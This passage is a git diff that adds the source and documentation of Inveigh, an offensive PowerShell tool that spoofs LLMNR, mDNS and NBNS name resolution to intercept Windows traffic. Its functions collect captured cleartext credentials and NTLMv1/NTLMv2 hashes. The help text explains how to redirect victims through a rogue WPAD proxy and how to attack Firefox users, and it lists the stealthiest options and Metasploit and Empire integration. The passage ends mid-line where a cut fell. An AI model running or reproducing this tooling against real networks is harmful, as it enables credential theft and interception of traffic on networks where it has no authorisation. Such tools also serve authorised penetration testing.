exited at $(Get-Date -format 's')")|Out-Null + $inveigh.log.add("$(Get-Date -format 's') - Inveigh Brute Force exited")|Out-Null + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - Inveigh Brute Force exited"| Out-File $Inveigh.log_out_file -Append + } + } + + if($inveigh.relay_running) + { + $inveigh.relay_running = $false + $inveigh.status_queue.add("Inveigh Relay exited at $(Get-Date -format 's')")|Out-Null + $inveigh.log.add("$(Get-Date -format 's') - Inveigh Relay exited")|Out-Null + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - Inveigh Relay exited"| Out-File $Inveigh.log_out_file -Append + } + } + + if($inveigh.running) + { + $inveigh.running = $false + $inveigh.status_queue.add("Inveigh exited at $(Get-Date -format 's')")|Out-Null + $inveigh.log.add("$(Get-Date -format 's') - Inveigh exited")|Out-Null + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - Inveigh exited"| Out-File $Inveigh.log_out_file -Append + } + } + + } + else + { + $inveigh.status_queue.add("There are no running Inveigh functions") | Out-Null + } + + if($inveigh.HTTPS) + { + & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null + + try + { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$FALSE)[0] + $certificate_store.Remove($certificate) + $certificate_store.Close() + } + catch + { + $inveigh.status_queue.add("SSL Certificate Deletion Error - Remove Manually")|Out-Null + $inveigh.log.add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually")|Out-Null + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually"|Out-File $Inveigh.log_out_file -Append + } + } + } + + $inveigh.HTTP = $false + $inveigh.HTTPS = $false + + } + else + { + $inveigh.status_queue.add("There are no running Inveigh functions")|Out-Null + } + + if($inveigh.status_output) + { + while($inveigh.status_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.status_queue[0] + $inveigh.newline) + $inveigh.status_queue.RemoveRange(0,1) + } + else + { + switch -wildcard ($inveigh.status_queue[0]) + { + "Inveigh *exited *" + { + write-warning $inveigh.status_queue[0] + $inveigh.status_queue.RemoveRange(0,1) + } + "SSL Certificate Deletion Error - Remove Manually" + { + write-warning $inveigh.status_queue[0] + $inveigh.status_queue.RemoveRange(0,1) + } + default + { + write-output $inveigh.status_queue[0] + $inveigh.status_queue.RemoveRange(0,1) + } + } + } + } + } +} + +Function Get-Inveigh +{ + <# + .SYNOPSIS + Get-Inveigh will display queued Inveigh output. + #> + while($inveigh.console_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveRange(0,1) + } + else + { + switch -wildcard ($inveigh.console_queue[0]) + { + "Inveigh *exited *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* written to *" + { + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + + $inveigh.console_queue.RemoveRange(0,1) + } + "* for relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "*SMB relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* local administrator *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + default + { + write-output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + } + } + } +} + +Function Get-InveighCleartext +{ + <# + .SYNOPSIS + Get-InveighCleartext will get all captured cleartext credentials. + #> + $inveigh.cleartext_list +} + +Function Get-InveighNTLM +{ + <# + .SYNOPSIS + Get-InveighNTLM will get all captured challenge/response hashes. + #> + $inveigh.NTLMv1_list + $inveigh.NTLMv2_list +} + +Function Get-InveighNTLMv1 +{ + <# + .SYNOPSIS + Get-InveighNTLMv1 will get captured NTLMv1 challenge/response hashes. + + .PARAMETER Unique + Display only the first captured challenge/response for each unique account. + #> + param + ( + [parameter(Mandatory=$false)][switch]$Unique, + [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter + ) + + if ($invalid_parameter) + { + throw "$($invalid_parameter) is not a valid parameter." + } + + if($Unique) + { + $inveigh.NTLMv1_list.sort() + + ForEach($unique_NTLMv1 in $inveigh.NTLMv1_list) + { + $unique_NTLMv1_account = $unique_NTLMv1.substring(0,$unique_NTLMv1.indexof(":",($unique_NTLMv1.indexof(":")+2))) + + if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + { + $unique_NTLMv1 + } + + $unique_NTLMv1_account_last = $unique_NTLMv1_account + } + } + else + { + $inveigh.NTLMv1_list + } +} + +Function Get-InveighNTLMv2 +{ + <# + .SYNOPSIS + Get-InveighNTLMv2 will get captured NTLMv1 challenge/response hashes. + + .PARAMETER Unique + Display only the first captured challenge/response for each unique account. + #> + param + ( + [parameter(Mandatory=$false)][switch]$Unique, + [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter + ) + + if ($invalid_parameter) + { + throw "$($invalid_parameter) is not a valid parameter." + } + + if($Unique) + { + $inveigh.NTLMv2_list.sort() + + ForEach($unique_NTLMv2 in $inveigh.NTLMv2_list) + { + $unique_NTLMv2_account = $unique_NTLMv2.substring(0,$unique_NTLMv2.indexof(":",($unique_NTLMv2.indexof(":")+2))) + + if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + { + $unique_NTLMv2 + } + + $unique_NTLMv2_account_last = $unique_NTLMv2_account + } + } + else + { + $inveigh.NTLMv2_list + } +} + +Function Get-InveighLog +{ + <# + .SYNOPSIS + Get-InveighLog will get log. + #> + $inveigh.log +} + +Function Get-InveighStat +{ + <# + .SYNOPSIS + Get-InveighLog will get log. + #> + Write-Output("Total Cleartext Captures = " + $inveigh.cleartext_list.count) + Write-Output("Total NTLMv1 Captures = " + $inveigh.NTLMv1_list.count) + Write-Output("Total NTLMv2 Captures = " + $inveigh.NTLMv2_list.count) +} + +Function Watch-Inveigh +{ + <# + .SYNOPSIS + Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell. + #> + if($inveigh.tool -ne 1) + { + if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) + { + Write-Output "Press any key to stop real time console output" + $inveigh.console_output = $true + + :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + { + while($inveigh.console_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveRange(0,1) + } + else + { + switch -wildcard ($inveigh.console_queue[0]) + { + "Inveigh *exited *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* written to *" + { + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + + $inveigh.console_queue.RemoveRange(0,1) + } + "* for relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "*SMB relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* local administrator *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + default + { + write-output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + } + } + } + + if([console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + + Start-Sleep -m 5 + } + } + else + { + Write-Output "Inveigh isn't running" + } + } + else + { + Write-Output "Watch-Inveigh cannot be used with current external tool selection" + } +} + +Function Clear-Inveigh +{ + <# + .SYNOPSIS + Clear-Inveigh will clear Inveigh data from memory. + #> + if($inveigh) + { + if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.bruteforce_running) + { + Remove-Variable inveigh -scope global + Write-Output "Inveigh data has been cleared from memory" + } + else + { + Write-Output "Run Stop-Inveigh before running Clear-Inveigh" + } + } +} \ No newline at end of file diff --git a/Modules/Inveigh.ps1 b/Modules/Inveigh.ps1 new file mode 100644 index 0000000..1a6f8b7 --- /dev/null +++ b/Modules/Inveigh.ps1 @@ -0,0 +1,4793 @@ +function Invoke-Inveigh +{ +<# +.SYNOPSIS +Invoke-Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool with challenge/response +capture over HTTP/HTTPS/Proxy/SMB. + +.DESCRIPTION +Invoke-Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spooferman-in-the-middle tool with the following features: + + IPv4 LLMNR/mDNS/NBNS spoofer with granular control + NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/Proxy/SMB + Basic auth cleartext credential capture over HTTP/HTTPS/Proxy + WPAD server capable of hosting a basic or custom wpad.dat file + HTTP/HTTPS/Proxy server capable of hosting limited content + Granular control of console and file output + Run time and run count control + LLMNR/NBNS spoofer learning mode + +.PARAMETER Challenge +Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random +challenge will be generated for each request. + +.PARAMETER ConsoleOutput +Default = Disabled: (Low/Medium/Y/N) Enable/Disable real time console output. If using this option through a +shell, test to ensure that it doesn't hang the shell. Medium and Low can be used to reduce output. + +.PARAMETER ConsoleQueueLimit +Default = Unlimited: Maximum number of queued up console log entries when not using the real time console. + +.PARAMETER ConsoleStatus +(Integer) Interval in minutes for displaying all unique captured hashes and credentials. This is useful for +displaying full capture lists when running through a shell that does not have access to the support functions. + +.PARAMETER ConsoleUnique +Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, +and username combinations when real time console output is enabled. + +.PARAMETER ElevatedPrivilege +Default = Auto: (Auto/Y/N) Set the privilege mode. Auto will determine if Inveigh is running with +elevated privilege. If so, options that require elevated privilege can be used. + +.PARAMETER FileOutput +Default = Disabled: (Y/N) Enable/Disable real time file output. + +.PARAMETER FileOutputDirectory +Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must +also be enabled. + +.PARAMETER FileUnique +Default = Enabled: (Y/N) Enable/Disable outputting challenge/response hashes for only unique IP, domain/hostname, +and username combinations when real time file output is enabled. + +.PARAMETER HTTP +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + +.PARAMETER HTTPIP +Default = Any: IP address for the HTTP/HTTPS listener. + +.PARAMETER HTTPPort +Default = 80: TCP port for the HTTP listener. + +.PARAMETER HTTPAuth +Default = NTLM: (Anonymous/Basic/NTLM/NTLMNoESS) HTTP/HTTPS listener authentication type. This setting does not +apply to wpad.dat requests. NTLMNoESS turns off the 'Extended Session Security' flag during negotiation. + +.PARAMETER HTTPBasicRealm +Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. + +.PARAMETER HTTPContentType +Default = text/html: Content type for HTTP/HTTPS/Proxy responses. Does not apply to EXEs and wpad.dat. Set to +"application/hta" for HTA files or when using HTA code with HTTPResponse. + +.PARAMETER HTTPDir +Full directory path to enable hosting of basic content through the HTTP/HTTPS listener. + +.PARAMETER HTTPDefaultFile +Filename within the HTTPDir to serve as the default HTTP/HTTPS/Proxy response file. This file will not be used for +wpad.dat requests. + +.PARAMETER HTTPDefaultEXE +EXE filename within the HTTPDir to serve as the default HTTP/HTTPS/Proxy response for EXE requests. + +.PARAMETER HTTPResetDelay +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will have a delay before their connections are reset when Inveigh doesn't receive data. This can increase the +chance of capturing authentication through a popup box with some browsers (Firefox). + +.PARAMETER HTTPResetDelayTimeout +Default = 30 Seconds: HTTPResetDelay timeout in seconds. + +.PARAMETER HTTPResponse +Content to serve as the default HTTP/HTTPS/Proxy response. This response will not be used for wpad.dat requests. +This parameter will not be used if HTTPDir is set. Use PowerShell character escapes and newlines where necessary. + +.PARAMETER HTTPS +Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in +the local store. If the script does not exit gracefully, manually remove the certificate. This feature requires +local administrator access. + +.PARAMETER HTTPSPort +Default = 443: TCP port for the HTTPS listener. + +.PARAMETER HTTPSCertIssuer +Default = Inveigh: The issuer field for the cert that will be installed for HTTPS. + +.PARAMETER HTTPSCertSubject +Default = localhost: The subject field for the cert that will be installed for HTTPS. + +.PARAMETER HTTPSForceCertDelete +Default = Disabled: (Y/N) Force deletion of an existing certificate that matches HTTPSCertIssuer and +HTTPSCertSubject. + +.PARAMETER Inspect +(Switch) Inspect LLMNR/mDNS/NBNS traffic only. With elevated privilege, SMB must be disabled with -smb if you do +not want NTLMv1/NTLMv2 captures over SMB. Without elevated privilege, the desired inspect listeners must be +enabled. + +.PARAMETER IP +Local IP address for listening and packet sniffing. This IP address will also be used for LLMNR/mDNS/NBNS spoofing +if the SpooferIP parameter is not set. + +.PARAMETER LogOutput +Default = Enabled: (Y/N) Enable/Disable storing log messages in memory. + +.PARAMETER LLMNR +Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing. + +.PARAMETER LLMNRTTL +Default = 30 Seconds: LLMNR TTL in seconds for the response packet. + +.PARAMETER MachineAccounts +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. + +.PARAMETER mDNS +Default = Disabled: (Y/N) Enable/Disable mDNS spoofing. + +.PARAMETER mDNSTTL +Default = 120 Seconds: mDNS TTL in seconds for the response packet. + +.PARAMETER mDNSTypes +Default = QU: Comma separated list of mDNS types to spoof. Note that QM will send the response to 224.0.0.251. +Types include QU = Query Unicast, QM = Query Multicast + +.PARAMETER NBNS +Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. + +.PARAMETER NBNSBruteForce +Default = Disabled: (Y/N) Enable/Disable NBNS brute force spoofer. + +.PARAMETER NBNSBruteForceHost +Default = WPAD: Hostname for the NBNS Brute Force spoofer. + +.PARAMETER NBNSBruteForcePause +Default = Disabled: (Integer) Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming +HTTP request is received. + +.PARAMETER NBNSBruteForceTarget +IP address to target for NBNS brute force spoofing. + +.PARAMETER NBNSTTL +Default = 165 Seconds: NBNS TTL in seconds for the response packet. + +.PARAMETER NBNSTypes +Default = 00,20: Comma separated list of NBNS types to spoof. +Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name + +.PARAMETER OutputStreamOnly +Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if +running Inveigh through a shell that does not return other output streams.Note that you will not see the various +yellow warning messages if enabled. + +.PARAMETER Proxy +Default = Disabled: (Y/N) Enable/Disable proxy listener authentication captures. + +.PARAMETER ProxyAuth +Default = NTLM: (Basic/NTLM/NTLMNoESS) Proxy listener authentication type. + +.PARAMETER ProxyIP +Default = Any: IP address for the proxy listener. + +.PARAMETER ProxyPort +Default = 8492: TCP port for the proxy listener. + +.PARAMETER ProxyIgnore +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will not be sent the wpad.dat file used for capturing proxy authentications. Firefox does not work correctly +with the proxy server failover setup. Firefox will be left unable to connect to any sites until the proxy is +cleared. Remove "Firefox" from this list to attack Firefox. If attacking Firefox, consider setting +-SpooferRepeat N to limit attacks against a single target so that victims can recover Firefox connectivity by +closing and reopening. + +.PARAMETER ShowHelp +Default = Enabled: (Y/N) Enable/Disable the help messages at startup. + +.PARAMETER SMB +Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still +direct targets to the host system's SMB server. Block TCP ports 445/139 or kill the SMB services if you need to +prevent login requests from being processed by the Inveigh host. + +.PARAMETER SpooferHostsIgnore +Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR/mDNS/NBNS. + +.PARAMETER SpooferHostsReply +Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR/mDNS/NBNS. + +.PARAMETER SpooferIP +IP address for LLMNR/mDNS/NBNS spoofing. This parameter is only necessary when redirecting victims to a system +other than the Inveigh host. + +.PARAMETER SpooferIPsIgnore +Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR/mDNS/NBNS. + +.PARAMETER SpooferIPsReply +Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR/mDNS/NBNS. + +.PARAMETER SpooferLearning +Default = Disabled: (Y/N) Enable/Disable LLMNR/NBNS valid host learning. If enabled, Inveigh will send out +LLMNR/NBNS requests for any received LLMNR/NBNS requests. If a response is received, Inveigh will add the +hostname to a spoofing blacklist. + +.PARAMETER SpooferLearningDelay +(Integer) Time in minutes that Inveigh will delay spoofing while valid hosts are being blacklisted through +SpooferLearning. + +.PARAMETER SpooferLearningInterval +Default = 30 Minutes: (Integer) Time in minutes that Inveigh wait before sending out an LLMNR/NBNS request for a +hostname that has already been checked if SpooferLearning is enabled. + +.PARAMETER SpooferRepeat +Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user +challenge/response has been captured. + +.PARAMETER StartupChecks +Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup. + +.PARAMETER StatusOutput +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + +.PARAMETER RunCount +Default = Unlimited: (Integer) Number of NTLMv1/NTLMv2/cleartext captures to perform before auto-exiting. + +.PARAMETER RunTime +(Integer) Run time duration in minutes. + +.PARAMETER Tool +Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's +PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire. +0 = None, 1 = Metasploit/Meterpreter, 2 = Empire + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous/Basic/NTLM/NTLMNoESS) HTTP/HTTPS listener authentication type for wpad.dat requests. +Setting to Anonymous can prevent browser login prompts. NTLMNoESS turns off the 'Extended Session Security' flag +during negotiation. + +.PARAMETER WPADAuthIgnore +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will be skipped for NTLM authentication. This can be used to filter out browsers like Firefox that display login +popups for authenticated wpad.dat requests such as Firefox. + +.PARAMETER WPADDirectFile +Default = Enabled: (Y/N) Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests. +Enabling this setting can reduce the amount of redundant wpad.dat requests. This parameter is ignored when +using WPADIP, WPADPort, or WPADResponse. + +.PARAMETER WPADDirectHosts +Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the +defined proxy. + +.PARAMETER WPADIP +Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used +with WPADPort. + +.PARAMETER WPADPort +Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be +used with WPADIP. + +.PARAMETER WPADResponse +wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort +are set. Use PowerShell character escapes where necessary. + +.EXAMPLE +Import-Module .\Inveigh.psd1;Invoke-Inveigh +Import full module and execute with all default settings. + +.EXAMPLE +. ./Inveigh.ps1;Invoke-Inveigh -IP 192.168.1.10 +Dot source load and execute specifying a specific local listening/spoofing IP. + +.EXAMPLE +Invoke-Inveigh -IP 192.168.1.10 -HTTP N +Execute specifying a specific local listening/spoofing IP and disabling HTTP challenge/response. + +.EXAMPLE +Invoke-Inveigh -SpooferRepeat N -WPADAuth Anonymous -SpooferHostsReply host1,host2 -SpooferIPsReply 192.168.2.75,192.168.2.76 +Execute with the stealthiest options. + +.EXAMPLE +Invoke-Inveigh -Inspect +Execute in order to only inpect LLMNR/mDNS/NBNS traffic. + +.EXAMPLE +Invoke-Inveigh -IP 192.168.1.10 -SpooferIP 192.168.2.50 -HTTP N +Execute specifying a specific local listening IP and a LLMNR/NBNS spoofing IP on another subnet. This may be +useful for sending traffic to a controlled Linux system on another subnet. + +.EXAMPLE +Invoke-Inveigh -HTTPResponse "" +Execute specifying an HTTP redirect response. + +.LINK +https://github.com/Kevin-Robertson/Inveigh +#> + +# Parameter default values can be modified in this section: +[CmdletBinding()] +param +( + [parameter(Mandatory=$false)][Array]$HTTPResetDelay = "Firefox", + [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox", + [parameter(Mandatory=$false)][Array]$SpooferHostsReply = "", + [parameter(Mandatory=$false)][Array]$SpooferHostsIgnore = "", + [parameter(Mandatory=$false)][Array]$SpooferIPsReply = "", + [parameter(Mandatory=$false)][Array]$SpooferIPsIgnore = "", + [parameter(Mandatory=$false)][Array]$WPADDirectHosts = "", + [parameter(Mandatory=$false)][Array]$WPADAuthIgnore = "Firefox", + [parameter(Mandatory=$false)][Int]$ConsoleQueueLimit = "-1", + [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", + [parameter(Mandatory=$false)][Int]$HTTPPort = "80", + [parameter(Mandatory=$false)][Int]$HTTPSPort = "443", + [parameter(Mandatory=$false)][Int]$HTTPResetDelayTimeout = "30", + [parameter(Mandatory=$false)][Int]$LLMNRTTL = "30", + [parameter(Mandatory=$false)][Int]$mDNSTTL = "120", + [parameter(Mandatory=$false)][Int]$NBNSTTL = "165", + [parameter(Mandatory=$false)][Int]$NBNSBruteForcePause = "", + [parameter(Mandatory=$false)][Int]$ProxyPort = "8492", + [parameter(Mandatory=$false)][Int]$RunCount = "", + [parameter(Mandatory=$false)][Int]$RunTime = "", + [parameter(Mandatory=$false)][Int]$WPADPort = "", + [parameter(Mandatory=$false)][Int]$SpooferLearningDelay = "", + [parameter(Mandatory=$false)][Int]$SpooferLearningInterval = "30", + [parameter(Mandatory=$false)][String]$HTTPBasicRealm = "IIS", + [parameter(Mandatory=$false)][String]$HTTPContentType = "text/html", + [parameter(Mandatory=$false)][String]$HTTPDefaultFile = "", + [parameter(Mandatory=$false)][String]$HTTPDefaultEXE = "", + [parameter(Mandatory=$false)][String]$HTTPResponse = "", + [parameter(Mandatory=$false)][String]$HTTPSCertIssuer = "Inveigh", + [parameter(Mandatory=$false)][String]$HTTPSCertSubject = "localhost", + [parameter(Mandatory=$false)][String]$NBNSBruteForceHost = "WPAD", + [parameter(Mandatory=$false)][String]$WPADResponse = "", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPSForceCertDelete = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LLMNR = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LogOutput = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$mDNS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNSBruteForce = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMB = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferLearning = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferRepeat = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$WPADDirectFile = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N","Low","Medium")][String]$ConsoleOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("Auto","Y","N")][String]$ElevatedPrivilege = "Auto", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$HTTPAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateSet("QU","QM")][Array]$mDNSTypes = @("QU"), + [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][Array]$NBNSTypes = @("00","20"), + [parameter(Mandatory=$false)][ValidateSet("Basic","NTLM","NTLMNoESS")][String]$ProxyAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$WPADAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$FileOutputDirectory = "", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$HTTPDir = "", + [parameter(Mandatory=$false)][Switch]$Inspect, + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$IP = "", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$NBNSBruteForceTarget = "", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = "0.0.0.0", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP = "", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "", + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if ($invalid_parameter) +{ + Write-Output "Error:$($invalid_parameter) is not a valid parameter" + throw +} + +$inveigh_version = "1.3.1" + +if(!$IP) +{ + $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) +} + +if(!$SpooferIP) +{ + $SpooferIP = $IP +} + +if($HTTPDefaultFile -or $HTTPDefaultEXE) +{ + + if(!$HTTPDir) + { + Write-Output "Error:You must specify an -HTTPDir when using either -HTTPDefaultFile or -HTTPDefaultEXE" + throw + } + +} + +if($WPADIP -or $WPADPort) +{ + + if(!$WPADIP) + { + Write-Output "Error:You must specify a -WPADPort to go with -WPADIP" + throw + } + + if(!$WPADPort) + { + Write-Output "Error:You must specify a -WPADIP to go with -WPADPort" + throw + } + +} + +if($NBNSBruteForce -eq 'Y' -and !$NBNSBruteForceTarget) +{ + Write-Output "Error:You must specify a -NBNSBruteForceTarget if enabling -NBNSBruteForce" + throw +} + +if(!$FileOutputdirectory) +{ + $output_directory = $PWD.Path +} +else +{ + $output_directory = $FileOutputdirectory +} + +if(!$inveigh) +{ + $global:inveigh = [HashTable]::Synchronized(@{}) + $inveigh.cleartext_list = New-Object System.Collections.ArrayList + $inveigh.IP_capture_list = New-Object System.Collections.ArrayList + $inveigh.log = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList + $inveigh.POST_request_list = New-Object System.Collections.ArrayList + $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList + $inveigh.valid_host_list = New-Object System.Collections.ArrayList +} + +if($inveigh.running) +{ + Write-Output "Error:Invoke-Inveigh is already running, use Stop-Inveigh" + throw +} + +if($HTTP_listener.IsListening -and !$inveigh.relay_running) +{ + $HTTP_listener.Stop() + $HTTP_listener.Close() +} + +if(!$inveigh.relay_running) +{ + $inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList + $inveigh.console_queue = New-Object System.Collections.ArrayList + $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList + $inveigh.log_file_queue = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList + $inveigh.POST_request_file_queue = New-Object System.Collections.ArrayList + $inveigh.status_queue = New-Object System.Collections.ArrayList + $inveigh.console_input = $true + $inveigh.console_output = $false + $inveigh.file_output = $false + $inveigh.HTTPS_existing_certificate = $false + $inveigh.HTTPS_force_certificate_delete = $false + $inveigh.log_output = $true + $inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" + $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" + $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" + $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" + $inveigh.POST_request_out_file = $output_directory + "\Inveigh-FormInput.txt" +} + +if($ElevatedPrivilege -eq 'Auto') +{ + $elevated_privilege = [Bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544") +} +else +{ + + if($ElevatedPrivilege -eq 'Y') + { + $elevated_privilege = $true + } + else + { + $elevated_privilege = $false + } + +} + +if($StartupChecks -eq 'Y') +{ + + $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} + + if($HTTP -eq 'Y') + { + $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " + } + + if($HTTPS -eq 'Y') + { + $HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPSPort " + } + + if($Proxy -eq 'Y') + { + $proxy_port_check = 